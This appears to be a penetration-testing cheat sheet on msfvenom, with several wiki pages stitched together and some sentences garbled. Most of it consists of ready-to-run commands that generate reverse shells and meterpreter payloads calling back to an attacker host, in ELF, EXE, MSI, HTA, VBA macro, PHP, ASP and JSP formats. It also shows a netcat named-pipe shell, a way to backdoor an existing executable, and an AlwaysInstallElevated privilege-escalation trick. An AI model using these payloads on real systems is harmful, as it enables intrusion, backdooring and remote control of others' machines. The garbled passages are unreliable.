tags:
- Application/Metasploit/msfvenom
- AttackCycle/Exploitation
- Application/netcat
- OS/Linux
- OS/Windows
- OS/macOS
- FileFormat/HTA
- Application/Metasploit/meterpreter
- Language/VisualBasic
- Language/Bash
- Language/Python
- Language/Perl
- Language/PHP
- Language/Javamsfvenom is a tool to create custom versions of Metasploit payloads, encoded into a variety of different binary formats and scripts. For example:
# Use Metasploit to generate the code for a remote shell:
#
msfvenom -p cmd/unix/reverse_netcat \
lhost=$LOCAL_IP lport=$LOCAL_PORT
# Spin up a listener using netcat:
#
nc -lvp $LOCAL_PORT
This will generates code that looks like this:
mkfifo /tmp/qdsrgu; \
nc $LOCAL_IP $LOCAL_PORT 0</tmp/qdsrgu | \
/bin/sh >/tmp/qdsrgu 2>&1; \
rm /tmp/qdsrgu
What's going on here?
mkfifo /tmp/qdsrgu creates a named pipe at /tmp/qdsrgu.nc $LOCAL_IP $LOCAL_PORT), direct the contents of the pipe into netcat's STDIN (0< /tmp/qdsrgu), pipe the output of netcat to a shell we know probably exists (| /bin/sh), and finally redirect both STDOUT and STDERR back into the named pipe (> /tmp/qdsrgu 2>&1).nc -lvp $LOCAL_PORT listens for the incoming netcat connection from the remote. Anything we type on STDIN here gets sent to the remote and piped to /bin/sh there. The output of /bin/sh is then sent to the named pipe, which dumps into (the remote) netcat, which then sends the data to the local machine where it ends up on STDOUT.Use --list formats to see available encoding formats. In general, shell scripts can always be produced by specifying -f raw and an output file with the appropriate extension.
# 32-bit Linux ELF meterpreter payload
#
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
-f elf -o ${NAME}
# 32-bit macOS MACH-O meterpreter payload
#
msfvenom -p osx/x86/shell_reverse_tcp \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
-f macho -o ${NAME}
# 64-bit Windows executable meterpreter payload
#
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
-f exe -o ${NAME}.exe
# 64-bit Windows SERVICE executable (note that these require
# additional API calls to work, beyond what `-f exe` provides)
#
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
-f exe-service -o ${NAME}.exe
# Add a meterpreter backdoor to an existing executable
#
msfvenom -a x64 --platform windows -x $ORIGINAL_EXE -k \
-p windows/meterpreter/reverse_tcp \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
-b "\x00" -f exe -o $BACKDOORED_EXE
Note that by default msfvenom produces 64-bit executables when using the -f exe. This doesn't work, however, if you're trying to replace a program in Program Files (x86). In this case, you'll need to explicitly instruct msfvenom to encode a 32-bit binary using -e x86/shikata_ga_nai.
If AlwaysInstallElevated is set to 1 under both of the following registry keys, then MSI installers will run as SYSTEM.
reg query HKCU\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
Generate a malicious MSI file with msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
-f msi -o ${NAME}.msi
Then install on the target to get a shell:
msiexec /quiet /qn /i $INSTALLER.msi
msfvenom can be used to generate HTA refer shells. Catch with the standard Metasploit can do all of this automatically for us via In quick-and-dirty cases LHOST and SRVHOST will be the same, though in more sophisticated operations (i.e., if you're separating phishing and C2 IPs) they will be different. The payload variable is particularly useful, as you can use something like Note that you may have to hit "Return" once the file is served to get back to the Metasploit prompt.permalink: spells/exploit-windows-html-applications-with-msfvenom
tags:
- FileFormat/HTA
- FileFormat/HTML
- Application/Metasploit/msfvenom
- AttackCycle/Exploitation
- HowTo
- Application/netcat
- Application/MetasploitExploit Windows HTML applications with msfvenom
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
-f hta-psh -o ${NAME}.hta
nc -lvp $ATTACKER_PORT netcat command.exploit/windows/misc/hta_server. Critical variables to set:
LHOST - the host IP address to connect back toLPORT - the port to connect back toSRVHOST - the host IP address to serve the malicious file onpayload - the Metasploit payload to usewindows/meterpreter/reverse_tcp and get a meterpreter shell, rather than just a plain reverse shell!
Metasploit's msfvenom can create VBA payloads, as one might expect. Despite WSH not wanting to pop cmd.exe or other executables (outside of calc.exe), a meterpreter reverse shell actually works! (That said, it will die when Word does, and thus needs to be migrated to a new process ASAP...) To work, the VBA output must be copied into a Microsoft Office document as a macro. By default msfvenom will use the permalink: spells/exploit-vba-scripts-with-msfvenom
tags:
- HowTo
- Application/Metasploit/msfvenom
- Language/VisualBasic
- Application/Metasploit/meterpreter
- Application/Excel
- Application/Word
- OS/Windows/WSHExploit VBA scripts with msfvenom
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
-f vba -o ${NAME}.vba
Workbook_Open() function; this is suitable for Excel, but must be changed to Document_Open() for Word.
msfvenom -p cmd/unix/reverse_bash \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
-f raw -o ${NAME}.sh
msfvenom -p cmd/unix/reverse_python \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
-f raw -o ${NAME}.py
msfvenom -p cmd/unix/reverse_perl \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
-f raw -o ${NAME}.pl
msfvenom -p php/meterpreter_reverse_tcp \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
-f raw -o ${NAME}.php
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
-f asp -o ${NAME}.asp
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
-f raw -o ${NAME}.jsp